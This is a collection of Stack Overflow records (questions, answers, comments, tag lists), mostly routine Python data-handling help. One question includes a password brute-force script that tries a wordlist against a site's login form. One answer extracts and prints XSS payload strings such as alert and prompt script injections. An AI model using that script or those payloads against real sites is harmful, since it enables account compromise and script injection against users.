has body: Python's built in sort method is a spin off of merge sort called Timsort, more information here - https://en.wikipedia.org/wiki/Timsort. It's essentially no better or worse than merge sort, which means that its run time on average is O(n log n) and its space complexity is Ω(n)
type: Answer
has comment: http://stackoverflow.com/comment/84519140

http://stackoverflow.com/q/48750478
tagged with: python-2.7
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84501669
favorite count: 0
has answer: http://stackoverflow.com/a/48750655
type: UnansweredQuestion
downvote count: 2
has body: guys i have this code but when i execute response is ValueError: too many values to unpack... where is my issues? #!usr/bin/python import requests import mechanize import sys class Explot(object): def __init__(self): self.url = 'https://example.com/auth/login/' self.listbr= open('Force.txt','r').readlines() self.PodHtUsear=str(raw_input('Ingresa Nombre Del Campo Del Usuario ::: ' + ' ')) self.PasHtUsearP=str(raw_input('Ingresa Nombre Del Campo De la Contraseña ::: ' + ' ')) self.IngrDa=str(raw_input('Ingresa Usuario :::' + ' ')) for line in self.listbr: self.passd=line.strip() self.http=requests.post(self.url, data={'%s'%self.PodHtUsear:self.IngrDa, '%s'%self.PasHtUsearP:self.passd, 'login':'submit'}) content = self.http.content sys.stderr.write('password cracked: : : ' + self.passd + '\n') self.Solmen(True,False) def Solmen(self,FormeHttp,DisfoHttp): nav = mechanize.Browser() nav.set_handle_robots(DisfoHttp) nav.set_handle_equiv(FormeHttp) nav.set_handle_referer(FormeHttp) nav.set_handle_redirect(FormeHttp) nav.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=0.1) nav.addheaders = [('User-agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36')] nav.open('%s'%self.url) nav.select_form(nr=0) nav.form['%s'%self.PodHtUsear] = self.IngrDa nav.form['%s'%self.PasHtUsearP]=self.passd submi= nav.submit() print ('Url : %s'%submi.geturl()) if __name__=='__main__': PostMe = Explot() Traceback: Traceback (most recent call last): File "C:\Users\admin\Desktop\cb1.py", line 41, in &lt;module&gt; PostMe = Explot() File "C:\Users\admin\Desktop\cb1.py", line 21, in init self.Solmen(True,False) File "C:\Users\admin\Desktop\cb1.py", line 32, in Solmen nav.open('%s'%self.url File "build\bdist.win32\egg\mechanize_mechanize.py", line 203, in open return self._mech_open(url, data, timeout=timeout) File "build\bdist.win32\egg\mechanize_mechanize.py", line 230, in mech_open response = UserAgentBase.open(self, request, …
has comment: http://stackoverflow.com/comment/84501576
tagged with: python
has comment: http://stackoverflow.com/comment/84501392
type: Question
has comment: http://stackoverflow.com/comment/84501641
has comment: http://stackoverflow.com/comment/84501658
score: -2
has comment: http://stackoverflow.com/comment/84501648
has title: how to fix ValueError in python

http://stackoverflow.com/a/48646514
has body: The geopandas.datasets.get_path is meant to return the path of a few datasets that are included in the geopandas library itself (eg for examples). When reading your own file, you need to pass the path directly to read_file: gpd_data = gpd.gpd.read_file('resource/RAVL_vLuki/rd0a0h.00d')
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/48645850
has comment: http://stackoverflow.com/comment/84320908
has comment: http://stackoverflow.com/comment/84321750
upvote count: 2

http://stackoverflow.com/a/48730366
has comment: http://stackoverflow.com/comment/84462686
type: Answer
has comment: http://stackoverflow.com/comment/84461693
upvote count: 2
answers question: http://stackoverflow.com/q/48730188
has comment: http://stackoverflow.com/comment/84462781
has body: For almost all the urls you posted (with exception the first one) you can extract js-payload from parsing query parameter like so: import urlparse # file.txt contains the urls - one per line with open('file.txt', 'r') as f: urls = f.read().splitlines() for url in urls: parsed = urlparse.urlparse(url) if parsed.query != '': print parsed.query For the first one, the payload is contained in the path parameter. Another way to extract get parameters is the following, using furl module: from furl import furl for url in urls: i = furl(url) if len(i.args): for k,v in i.args.items(): print v Update If all your payloads contain the word 'xss' then the following may help: import urlparse # file.txt contains the urls - one per line with open('file.txt', 'r') as f: urls = f.read().splitlines() for url in urls: parsed = urlparse.urlparse(url) if parsed.query != '': print ''.join(filter(lambda i: 'xss' in i.lower() ,parsed.query.split('='))) Output: alert(/XSS/)%3E javascript:alert`XSS` '-confirm(/XSS/)-' prompt%28/XSS/%29%3E&amp;content_type ;prompt(/XSS/);&gt;00116 %22%22;%3C%2Fscript%3E%3Cscript%3Eprompt(%2FXSS%2F)%3C%2Fscript%3E%3C%22
score: 2
has comment: http://stackoverflow.com/comment/84461297
has comment: http://stackoverflow.com/comment/84461135
has comment: http://stackoverflow.com/comment/84460271
has comment: http://stackoverflow.com/comment/84462681
downvote count: 0
has comment: http://stackoverflow.com/comment/84461462
has comment: http://stackoverflow.com/comment/84462648
has comment: http://stackoverflow.com/comment/84461422
has comment: http://stackoverflow.com/comment/84461021

graphics
tag name: graphics
tags question: http://stackoverflow.com/q/48714090
tags question: http://stackoverflow.com/q/48734581
type: Tag
tags question: http://stackoverflow.com/q/48739088

http://stackoverflow.com/comment/84360276
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48681366
score: 0
has text: running this code on raspberry pi zero with single thread only

http://stackoverflow.com/comment/84307125
score: 0
has text: mine is python3.6
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48654248

http://stackoverflow.com/a/48726477
score: 5
answers question: http://stackoverflow.com/q/48720559
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48720559
type: Answer
has comment: http://stackoverflow.com/comment/84452223
upvote count: 5
has body: This is a bit rough (and not very concise), but you could do something like the following (you could of course make it more concise and leave out the intermediate variables, but I left them in here to make it easier to understand what's happening). df['new'] = (df.reset_index().Date.diff() == pd.Timedelta('1min')).astype(int).values df['grp'] = (df.new != 1).cumsum() df['cnt'] = df.groupby('grp')['new'].transform(size) df['event'] = df['cnt'] &gt; 4 df['Event'] = ((df.event) &amp; (df.new != 1)).cumsum() df['Event'] = np.where( df.event, df.Event, np.nan ) X new grp cnt event Event Date 2017-06-06 01:08:00 0.019 0 1 8 True 1.0 2017-06-06 01:09:00 0.005 1 1 8 True 1.0 2017-06-06 01:10:00 0.030 1 1 8 True 1.0 2017-06-06 01:11:00 0.005 1 1 8 True 1.0 2017-06-06 01:12:00 0.003 1 1 8 True 1.0 2017-06-06 01:13:00 0.001 1 1 8 True 1.0 2017-06-06 01:14:00 0.039 1 1 8 True 1.0 2017-06-06 01:15:00 0.003 1 1 8 True 1.0 2017-06-06 01:17:00 0.001 0 2 1 False NaN 2017-06-06 01:25:00 0.006 0 3 3 False NaN 2017-06-06 01:26:00 0.006 1 3 3 False NaN 2017-06-06 01:27:00 0.032 1 3 3 False NaN 2017-06-06 01:29:00 0.013 0 4 5 True 2.0 2017-06-06 01:30:00 0.065 1 4 5 True 2.0 2017-06-06 01:31:00 0.013 1 4 5 True 2.0 2017-06-06 01:32:00 0.001 1 4 5 True 2.0 2017-06-06 01:33:00 0.020 1 4 5 True 2.0 2017-06-06 01:38:00 0.050 0 5 1 False NaN 2017-06-06 01:40:00 0.025 0 6 6 True 3.0 2017-06-06 01:41:00 0.010 1 6 6 True 3.0 2017-06-06 01:42:00 0.008 1 6 6 True 3.0 2017-06-06 01:43:00 0.009 1 6 6 True 3.0 2017-06-06 01:44:00 0.038 1 6 6 True 3.0 2017-06-06 01:45:00 0.038 1 6 6 True 3.0

http://stackoverflow.com/q/48702370
tagged with: scrapy
type: Question
has title: How to handle ajax data with scrapy
has answer: http://stackoverflow.com/a/48702668
answer count: 2
has body: I'm making a web spider with scrapy and there comes a problem:I tried to get a group of html data.And it contains the id i need to send ajax request.However,when I tried to get the ajax data together with other data I got with the html , it just goes wrong.How could I solve it?Here's my code: class DoubanSpider(scrapy.Spider): name = "douban" allowed_domains = ["movie.douban.com"] start_urls = ["https://movie.douban.com/review/best"] def parse(self, response): for review in response.css(".review-item"): rev = Review() rev['reviewer'] = review.css("a[property='v:reviewer']::text").extract_first() rev['rating'] = review.css("span[property='v:rating']::attr(class)").extract_first() rev['title'] = review.css(".main-bd&gt;h2&gt;a::text").extract_first() number = review.css("::attr(id)").extract_first() f = scrapy.Request(url='https://movie.douban.com/j/review/%s/full' % number, callback=self.parse_full_passage) rev['comment'] = f yield rev def parse_full_passage(self, response): r = json.loads(response.body_as_unicode()) html = r['html'] yield html
has answer: http://stackoverflow.com/a/48707880
possible better answer: http://stackoverflow.com/a/48702668
accepted answer: http://stackoverflow.com/a/48707880
tagged with: python
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/84538418
type: Comment
type: QuestionComment
has text: Can you add sample data, expected output and what you try?
comment on: http://stackoverflow.com/q/48768902
score: 0

http://stackoverflow.com/a/64519510
answers question: http://stackoverflow.com/q/48665001
downvote count: 0
has body: I faced the same problem and I just used this : elm = driver.find_elements_by_css_selector('div[class*="loadingWhiteBox"]') elm.click()
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/48674003
tagged with: pandas-groupby
tagged with: pandas
has comment: http://stackoverflow.com/comment/84346498
has comment: http://stackoverflow.com/comment/84348303
score: 1
has body: I have a pandas dataframe indexed by a time series with columns of GPS latitude and acceleration for a satellite orbiting the Earth. This latitude oscillates between maximum and minimum values with a constant time period as expected. What I want to do is integrate the acceleration column over each orbital period. I understand I need to use the pandas 'groupby' method to group each period. Howeve, I can't figure out how I can group the consecutive rows into orbital periods (say iterating through it and grouping until I hit the maximum latitude value thus defining the end of an orbit?). After grouping I can then apply a numerical integration on each period. An example code generating a similar DataFrame is given below. from scipy import signal t = np.linspace(0, 1, 500) np.random.seed(0) # make sure we will get the same values every time df = pd.DataFrame( {'Lat': signal.sawtooth(2 *np.pi * 5 * t, 0.5), 'Acc': np.random.rand(500)}, index=pd.date_range('1/1/2011 00:00:00.006392', periods=500, freq='10ms') ) Any help would be much appreciated. And any more information please ask!
favorite count: 0
type: Question
tagged with: physics
upvote count: 1
tagged with: python
answer count: 1
has comment: http://stackoverflow.com/comment/84346479
linked to: http://stackoverflow.com/q/20109391
has comment: http://stackoverflow.com/comment/84347643
has answer: http://stackoverflow.com/a/48675106
has title: Group consecutive rows in a pandas dataframe by conditioning on hitting max value in another column
downvote count: 0
type: UnansweredQuestion
tagged with: numerical-integration
has comment: http://stackoverflow.com/comment/84347934

http://stackoverflow.com/a/48737988
score: 13
has body: If your preprocessing pipeline is very long and the output is small, the processed data should fit in memory. If this is the case, you can use tf.data.Dataset.cache to cache the processed data in memory or in a file. From the official performance guide: The tf.data.Dataset.cache transformation can cache a dataset, either in memory or on local storage. If the user-defined function passed into the map transformation is expensive, apply the cache transformation after the map transformation as long as the resulting dataset can still fit into memory or local storage. If the user-defined function increases the space required to store the dataset beyond the cache capacity, consider pre-processing your data before your training job to reduce resource usage. Example use of cache in memory Here is an example where each pre-processing takes a lot of time (0.5s). The second epoch on the dataset will be much faster than the first def my_fn(x): time.sleep(0.5) return x def parse_fn(x): return tf.py_func(my_fn, [x], tf.int64) dataset = tf.data.Dataset.range(5) dataset = dataset.map(parse_fn) dataset = dataset.cache() # cache the processed dataset, so every input will be processed once dataset = dataset.repeat(2) # repeat for multiple epochs res = dataset.make_one_shot_iterator().get_next() with tf.Session() as sess: for i in range(10): # First 5 iterations will take 0.5s each, last 5 will not print(sess.run(res)) Caching to a file If you want to write the cached data to a file, you can provide an argument to cache(): dataset = dataset.cache('/tmp/cache') # will write cached data to a file This will allow you to only process the dataset once, and run multiple experiments on the data without reprocessing it again. Warning: You have to be careful when caching to a file. If you change your data, but keep the /tmp/cache.* files, it will still read the old data that was cached. For instance, if we use the data from above and change the range of the data to be in [10, 15], we will still …
downvote count: 0
type: Answer
upvote count: 13
answers question: http://stackoverflow.com/q/48732540

http://stackoverflow.com/a/48680628
has comment: http://stackoverflow.com/comment/84358568
downvote count: 0
has comment: http://stackoverflow.com/comment/84360699
score: 1
accepted answer of: http://stackoverflow.com/q/48680447
answers question: http://stackoverflow.com/q/48680447
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84358708
has comment: http://stackoverflow.com/comment/84358980
type: Answer
has body: A simple way to go about this follows. It may or may not be ideal, depending what you really need: values = [] with open('foo.txt', 'rt') as f: for line in f: try: values.append( line.split('=', 1)[1].strip()) except IndexError: # depending on your needs; if you want to ignore lines # that are not key=value, replace the append with a # pass values.append('') for v in values: print "got:", v where foo.txt is your text file. This will iterate over each line, split it at the first `=. 'a=b=c'.split('=', 1) gets you ['a', 'b=c']. For lines that do not contain a =, or that don't have anything afterwards, strip('=', 1) will return a list with just one element, so trying to get the element with index 1 will throw the IndexError that you can treat as you need. Last, strip() gets rid of whitespace at the start and end of the right-hand string in case you have strings like a = b.

http://stackoverflow.com/comment/84418349
type: Comment
comment on: http://stackoverflow.com/q/48709718
has text: It looks like you want us to write some code for you. While many users are willing to produce code for a coder in distress, they usually only help when the poster has already tried to solve the problem on their own. A good way to demonstrate this effort is to include the code you've written so far, example input (if there is any), the expected output, and the output you actually get (console output, tracebacks, etc.). The more detail you provide, the more answers you are likely to receive. Check the [FAQ] and [ask].
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84296405
type: QuestionComment
score: 0
has text: [This page](https://ss64.com/nt/errorlevel.html) describes cmd.exe `%errorlevel%` and how some commands will overwrite it, some will overwrite it on error only, and some will never modify it, and additionally that "In most cases the ERRORLEVEL will be the same as the exit code, but there are a few buggy cases where this fails.". So yeah, definitely try without the shell....
comment on: http://stackoverflow.com/q/48648462
type: Comment

http://stackoverflow.com/q/48725969
accepted answer: http://stackoverflow.com/a/48726177
tagged with: numpy
has answer: http://stackoverflow.com/a/48726287
has comment: http://stackoverflow.com/comment/84451263
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48726287
type: Question
has answer: http://stackoverflow.com/a/48726177
has comment: http://stackoverflow.com/comment/84451220
has title: How to filter column values from a file and write in a new file in python
answer count: 2
tagged with: python
has body: I have a .txt file with columns #x y z 1 4 6 2 5 6 3 6 8 4 8 8 5 7 8 6 7 8 The first column is sorted in an ascending order. I want to filter the first column x for values between 2 and 6 and then create a new file with corresponding y and z columns So the output file looks like: # x y z 3 6 8 4 8 8 5 7 8 This simple lines filters the x columns, but how do I get the corresponding other columns to write to a new file? x=x[np.where(x&gt;2)] print x x=x[np.where(x&lt;6)] print x Your help is very apppreciated
score: 0

http://stackoverflow.com/a/48676108
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84374793
type: Answer
accepted answer of: http://stackoverflow.com/q/48675689
answers question: http://stackoverflow.com/q/48675689
has body: Edit: on second glance, it looks like you do want to fill the gaps in your dates, and then forward-fill your data, which can be done as easily as: df.set_index('transaction_dt').resample('D').ffill() If, however you don't want to create a continuous index, but rather to add an arbitrary number of rows N, you could do this by first moving 'transaction_dt' to your index: df.set_index('transaction_dt', inplace=True) ...and then using this lambda function (making use of numpy methods): add_n_dates = lambda n: df.index.repeat(n) + \ np.tile(np.arange(n)*pd.Timedelta('1 days'), df.index.size) ... to add n dates to each element of your new index, before finally reindexing + forward-filling: df.reindex(add_n_dates(5), method='ffill') # id units measure # transaction_dt # 2014-01-06 1.0 30.0 30.5 # 2014-01-07 1.0 30.0 30.5 # 2014-01-08 1.0 30.0 30.5 # 2014-01-09 1.0 30.0 30.5 # 2014-01-10 1.0 30.0 30.5 # 2014-02-04 1.0 5.0 22.6 # 2014-02-05 1.0 5.0 22.6 # 2014-02-06 1.0 5.0 22.6 # 2014-02-07 1.0 5.0 22.6 # 2014-02-08 1.0 5.0 22.6 Edit #2: Assuming again that you've already set your index to transaction_dt, this may be the easiest approach to using the values in units to determine how many rows to add. It uses pd.date_range to create the necessary date values by passing row.name (i.e. its index value) as the starting point and row.units as the # of periods to generate. df.apply(lambda x: pd.Series(pd.date_range(x.name, periods=x.units)), axis=1). \ stack(). \ reset_index(level=1). \ join(df['measure']). \ drop('level_1', axis=1). \ reset_index(). \ rename(columns={0:'enumerated_dt'}) # transaction_dt enumerated_dt measure # 0 2014-01-06 2014-01-06 30.5 # 1 2014-01-06 2014-01-07 30.5 # 2 2014-01-06 2014-01-08 30.5 # 3 2014-01-06 2014-01-09 30.5 # 4 2014-01-06 2014-01-10 30.5 # ... # 29 2014-01-06 2014-02-04 30.5 # 30 2014-02-04 2014-02-04 22.6 # 31 2014-02-04 2014-02-05 22.6 # 32 2014-02-04 2014-02-06 22.6 # 33 2014-02-04 2014-02-07 22.6 # 34 2014-02-04 2014-02-08 22.6
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/84381977
has comment: http://stackoverflow.com/comment/84353056
has comment: http://stackoverflow.com/comment/84383276

dataframe
tags question: http://stackoverflow.com/q/48797747
tags question: http://stackoverflow.com/q/48657819
tags question: http://stackoverflow.com/q/48703610
tags question: http://stackoverflow.com/q/48744490
tags question: http://stackoverflow.com/q/48722661
tags question: http://stackoverflow.com/q/48723288
tags question: http://stackoverflow.com/q/48774671
tags question: http://stackoverflow.com/q/48691572
tags question: http://stackoverflow.com/q/48795741
tags question: http://stackoverflow.com/q/48797784
tags question: http://stackoverflow.com/q/48798687
tags question: http://stackoverflow.com/q/48772271
tags question: http://stackoverflow.com/q/48646986
tags question: http://stackoverflow.com/q/48721711
tags question: http://stackoverflow.com/q/48657471
tags question: http://stackoverflow.com/q/48717245
tags question: http://stackoverflow.com/q/48799055
tags question: http://stackoverflow.com/q/48740563
tags question: http://stackoverflow.com/q/48739298
tags question: http://stackoverflow.com/q/48749015
tags question: http://stackoverflow.com/q/48798508
tags question: http://stackoverflow.com/q/48672524
tags question: http://stackoverflow.com/q/48664615
tags question: http://stackoverflow.com/q/48717391
tags question: http://stackoverflow.com/q/48726649
tags question: http://stackoverflow.com/q/48750236
tags question: http://stackoverflow.com/q/48800046
tags question: http://stackoverflow.com/q/48745150
tags question: http://stackoverflow.com/q/48766968
tags question: http://stackoverflow.com/q/48769131
tags question: http://stackoverflow.com/q/48649108
tags question: http://stackoverflow.com/q/48774813
tags question: http://stackoverflow.com/q/48764647
tags question: http://stackoverflow.com/q/48734238
tags question: http://stackoverflow.com/q/48792285
tags question: http://stackoverflow.com/q/48653893
tags question: http://stackoverflow.com/q/48794354
tags question: http://stackoverflow.com/q/48712726
tags question: http://stackoverflow.com/q/48672866
tags question: http://stackoverflow.com/q/48672072
tags question: http://stackoverflow.com/q/48659322
tags question: http://stackoverflow.com/q/48743299
tags question: http://stackoverflow.com/q/48776217
tags question: http://stackoverflow.com/q/48759972
tags question: http://stackoverflow.com/q/48716244
tags question: http://stackoverflow.com/q/48755528
tags question: http://stackoverflow.com/q/48699907
tags question: http://stackoverflow.com/q/48750762
tags question: http://stackoverflow.com/q/48782192
tags question: http://stackoverflow.com/q/48790093
tags question: http://stackoverflow.com/q/48746230
tags question: http://stackoverflow.com/q/48725254
tags question: http://stackoverflow.com/q/48649498
tags question: http://stackoverflow.com/q/48646739
tags question: http://stackoverflow.com/q/48688562
tags question: http://stackoverflow.com/q/48755877
tags question: http://stackoverflow.com/q/48730747
tags question: http://stackoverflow.com/q/48672540
tags question: http://stackoverflow.com/q/48764923
tags question: http://stackoverflow.com/q/48786204
tags question: http://stackoverflow.com/q/48670877
tags question: http://stackoverflow.com/q/48671082
tags question: http://stackoverflow.com/q/48754709
tags question: http://stackoverflow.com/q/48654516
tags question: http://stackoverflow.com/q/48684900
tags question: http://stackoverflow.com/q/48753808
tags question: http://stackoverflow.com/q/48752201
tags question: http://stackoverflow.com/q/48769224
tags question: http://stackoverflow.com/q/48654181
tags question: http://stackoverflow.com/q/48768666
tags question: http://stackoverflow.com/q/48784925
tags question: http://stackoverflow.com/q/48729392
tags question: http://stackoverflow.com/q/48759078
tags question: http://stackoverflow.com/q/48795291
tag name: dataframe
tags question: http://stackoverflow.com/q/48727515
tags question: http://stackoverflow.com/q/48779824
tags question: http://stackoverflow.com/q/48671309
tags question: http://stackoverflow.com/q/48709404
tags question: http://stackoverflow.com/q/48710645

http://stackoverflow.com/a/48733221
score: 0
answers question: http://stackoverflow.com/q/48731963
type: Answer
has body: You can try implementing the same using: hot = raw_input('Heads or Tails?\n') while hot != 'quit': if hot == random.choice(['heads', 'tails']): print 'Correct!' hot = raw_input('Heads or Tails?\n') else: print 'Wrong!' hot = raw_input('Heads or Tails?\n') This allows the user to continue flipping the coin until the user enters 'quit'.

http://stackoverflow.com/q/48670850
score: -6
has comment: http://stackoverflow.com/comment/84340138
favorite count: 0
has comment: http://stackoverflow.com/comment/84340076
has comment: http://stackoverflow.com/comment/84339871
tagged with: python
has comment: http://stackoverflow.com/comment/84339590
downvote count: 6
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84339563
has answer: http://stackoverflow.com/a/48671576
has title: TypeError "int" in Python
has comment: http://stackoverflow.com/comment/84339589
has body: randsemiconclusion = [3234234, 234234, 23432] wordstring = " " liststr = list(wordstring) for i in range(0, len(randsemiconclusion)): aw = randsemiconclusion[i] for j in range(0, 6): aac = int(i*7 + j+1) liststr[aac] = aw[j] wordstring = ''.join(liststr) print("Wordstring --> ", wordstring, " <--") Traceback: Traceback (most recent call last): liststr[aac] = aw[j] TypeError: 'int' object is not subscriptable (This is just an extractor the real code) I am not sure as to why do I get the TypeError This program is supposed to extract the numbers in the list and place them together in one string like so: list[12, 23, 32] to: 122332
has comment: http://stackoverflow.com/comment/84339596
type: Question
upvote count: 0
has comment: http://stackoverflow.com/comment/84339586
accepted answer: http://stackoverflow.com/a/48671576
tagged with: int
answer count: 1

http://stackoverflow.com/q/48737130
linked to: http://stackoverflow.com/q/29205967
has title: BASIC GUESSING GAME
has answer: http://stackoverflow.com/a/48737190
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48737201
tagged with: python
type: AnsweredQuestion
has body: Hi all I hope you can explain what I am doing wrong. I am completely new to python and experimenting with basic code but it don't seem to work as i thought it might. the program should be a simple one of guessing the right number contained in the variable, but even when guess correct it says "Nope, that's not right". magic_number = 10 input("I am thinking of a number between 1 and 10, can you guess it? ") if input == magic_number: print("WOW! You must be psychic, that is spot on") else: print("Nope, that's not it")
duplicate of: http://stackoverflow.com/q/29205967
accepted answer: http://stackoverflow.com/a/48737190
has comment: http://stackoverflow.com/comment/84474121
type: Question
has comment: http://stackoverflow.com/comment/84476179
possible better answer: http://stackoverflow.com/a/48737182
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/48737182

http://stackoverflow.com/comment/84517289
has text: @cosmonaut I edited the question with the fix. The Binance API docs gives the time is in milliseconds, whereas python expects a value in seconds.
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48758098
type: AnswerComment

http://stackoverflow.com/a/48781849
type: Answer
downvote count: 0
score: 1
has body: After this loop : for id in df['AccountId']:##for each id create a button new_win_button = tk.Button(self, text=id, command= self.new_window) new_win_button.pack(side="top", padx=20, pady=20) id is a local variable to the class Example. And id is set to the last value of df['AccountId'] at the end of the above for loop. for example: for i in range(0,10): pass print i Result: 9 So in label = tk.Label(top, text=s3.loc[s3.AccountId == id]'AccountId','confidence','lift') the comparison s3.AccountId == id will always comapare with the latest value of id that's why you are always getting the columns for only the last Accountid. workaround : import tkinter as tk import pandas as pd root = tk.Tk() #declare root in global scope for simplicity class new_button: def __init__(self,A_id): self.id=A_id but = tk.Button(root,text=self.id,command=self.new_window) but.pack(side="top", padx=20, pady=20) def new_window(self): top = tk.Toplevel(root)# create sub window label = tk.Label(top, text=s3.loc[s3.AccountId == self.id]'AccountId','confidence','lift') label.pack(side="top", fill="both", expand=True, padx=20, pady=20) if __name__ == "__main__": for i in df['AccountId']:##for each id create a button butt=new_button(A_id=i) root.mainloop() created a new_button class which creates a unique button for each AccountId in the dataframe.
accepted answer of: http://stackoverflow.com/q/48781017
has comment: http://stackoverflow.com/comment/84602884
answers question: http://stackoverflow.com/q/48781017
upvote count: 1
has comment: http://stackoverflow.com/comment/84613445
type: AcceptedAnswer

rasa-nlu
tags question: http://stackoverflow.com/q/48700554
tag name: rasa-nlu
type: Tag

http://stackoverflow.com/comment/84689663
comment on: http://stackoverflow.com/a/48807366
has text: `IntToString(p.x)` (and `p.y`) is not really needed. You could `std::cout << std::hex << p.x std::endl;` (and `p.y`) if you wanted. `Integer` class overloads `operator<<`, and it responds to formatting flags.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/48710550
upvote count: 1
has body: After your first load with read_csv, you can set: df.columns.name = "feature" To re-gain the column name.
score: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48710040
answers question: http://stackoverflow.com/q/48710040
type: Answer

http://stackoverflow.com/q/48773480
has body: I have many vectors with different sizes and with many values each. How do I increase the size of the vectors? Should I use interpolation? Here is an example of one of the vectors: a = np.array(data['col1']) a array([ .... .... 1.58795599271e-18, 1.44291516626e-17, 9.38543028522e-18, 1.26688244651e-17, 2.92337581236e-18, 3.94537400278e-18, 3.5377910957e-18, 2.28690272401e-18 .... .... ]) The size of the array is 2244. How do I change the size to 3153?
downvote count: 1
type: Question
tagged with: numpy
upvote count: 0
score: -1
answer count: 1
favorite count: 0
tagged with: interpolation
has title: How to stretch this vector by increasing its size using interpolation?
has answer: http://stackoverflow.com/a/48773585
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48773585

http://stackoverflow.com/comment/84559193
score: 1
has text: For the time being, I just switched to coveralls instead, which works fine.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48771093

http://stackoverflow.com/a/48675495
answers question: http://stackoverflow.com/q/48675282
downvote count: 0
score: 1
upvote count: 1
has body: With this one you don't constrain yourself with any upper limit of repetitions: import re blah = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffg" r = re.compile(r'[a-z](.)\1{2,}') # no upper limit try: re.search(r, blah).group() except AttributeError: pass # whatever you want to do when there is no match
type: Answer

hadoop
tags question: http://stackoverflow.com/q/48681150
tags question: http://stackoverflow.com/q/48649477
tags question: http://stackoverflow.com/q/48676514
tag name: hadoop
type: Tag
tags question: http://stackoverflow.com/q/48702844
tags question: http://stackoverflow.com/q/48795794
tags question: http://stackoverflow.com/q/48781034
tags question: http://stackoverflow.com/q/48739175

http://stackoverflow.com/comment/84654214
has text: @ElliottBeach Nothing happens when I type `python -c "import wget"` in terminal. If I type just `python`, I get `Python 2.7.10 (default, Feb 7 2017, 00:08:15)` and I can get out of it with `quit()`.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48800589

http://stackoverflow.com/a/48727396
has comment: http://stackoverflow.com/comment/84453789
has body: If I do the following, there are no non-ASCII characters in the 'slack_dict' file, since there are no non-ASCII characters in any of the 'Unicode' strings in the dictionary. Everything is stored exactly as shown (e.g., a literal 'u', not a non-ASCII character). from collections import defaultdict slack_dict = defaultdict(list) slack_dict[u'djin_acontentmgmt_sample'] = [ {'color': u'blue', 'status': 'SUCCESS', 'region': u'virginia', 'env': u'int', 'job_no': '122'} ] with open('slack_dict', 'w') as f: f.write(str(slack_dict).encode('UTF-8')) with open('slack_dict', 'r') as f: print f.read() # defaultdict(&lt;type 'list'&gt;, {u'djin_acontentmgmt_sample': [{'color': u'blue', 'status': 'SUCCESS', 'region': u'virginia', 'env': u'int', 'job_no': '122'}]}) Are you trying to eliminate the 'u' markers, e.g., to write json text? In that case, you could try this: import json with open('slack_dict', 'w') as f: json.dump(slack_dict, f) # equivalent to f.write(json.dumps(slack_dict)) with open('slack_dict', 'r') as f: print f.read() # {"djin_acontentmgmt_sample": [{"color": "blue", "status": "SUCCESS", "region": "virginia", "env": "int", "job_no": "122"}]}
type: Answer
has comment: http://stackoverflow.com/comment/84453980
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48727203
accepted answer of: http://stackoverflow.com/q/48727203
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/84324591
comment on: http://stackoverflow.com/a/48663348
type: Comment
has text: @BUZZY. You are right I forgot to add that info in the description.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84407174
comment on: http://stackoverflow.com/q/48703800
has text: Have you tried using [pyinstaller](https://pyinstaller.readthedocs.io/en/stable/)? It's user friendly and it has solid documentation.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48669073
score: 3
has comment: http://stackoverflow.com/comment/84345630
has comment: http://stackoverflow.com/comment/84336236
has comment: http://stackoverflow.com/comment/84336257
has comment: http://stackoverflow.com/comment/84336539
upvote count: 3
has comment: http://stackoverflow.com/comment/84336336
type: Answer
has comment: http://stackoverflow.com/comment/84336104
answers question: http://stackoverflow.com/q/48668884
downvote count: 0
has comment: http://stackoverflow.com/comment/84347553
has body: The random.choices() function does what you want: &gt;&gt;&gt; from random import choices &gt;&gt;&gt; n, i, j = 10, 1, 5 &gt;&gt;&gt; population = list(map(str, range(i, j+1))) &gt;&gt;&gt; ''.join(choices(population, k=n)) '5143113531'

http://stackoverflow.com/q/48786715
has comment: http://stackoverflow.com/comment/84574775
accepted answer: http://stackoverflow.com/a/48787645
has body: I'm writing a programme that will display messages that are stored in an array one at a time. I want it to be able to move through them one at a time upon command from the user. My problem is when it reaches the last value on the array I cannot figure out a way to get it to loop back to the first record. I appreciate that this problem may seem obvious to some but I have struggled to come up with a solution. I would really appreciate if someone could show me a way to solve this.
type: AnsweredQuestion
has title: Looping back to first record in array (Python)
type: Question
answer count: 1
tagged with: arrays
score: 0
has answer: http://stackoverflow.com/a/48787645
tagged with: python

http://stackoverflow.com/comment/84509851
type: Comment
has text: However, I am unsure of how you would go about making it so that when the N/A button is pressed, the image on the screen changes to a different one. Do you have any ideas how that would work? TIA :)
comment on: http://stackoverflow.com/a/48754399
type: AnswerComment
score: 0

http://stackoverflow.com/q/48786808
tagged with: c#
has title: Import Numpy Package for IronPython
score: 1
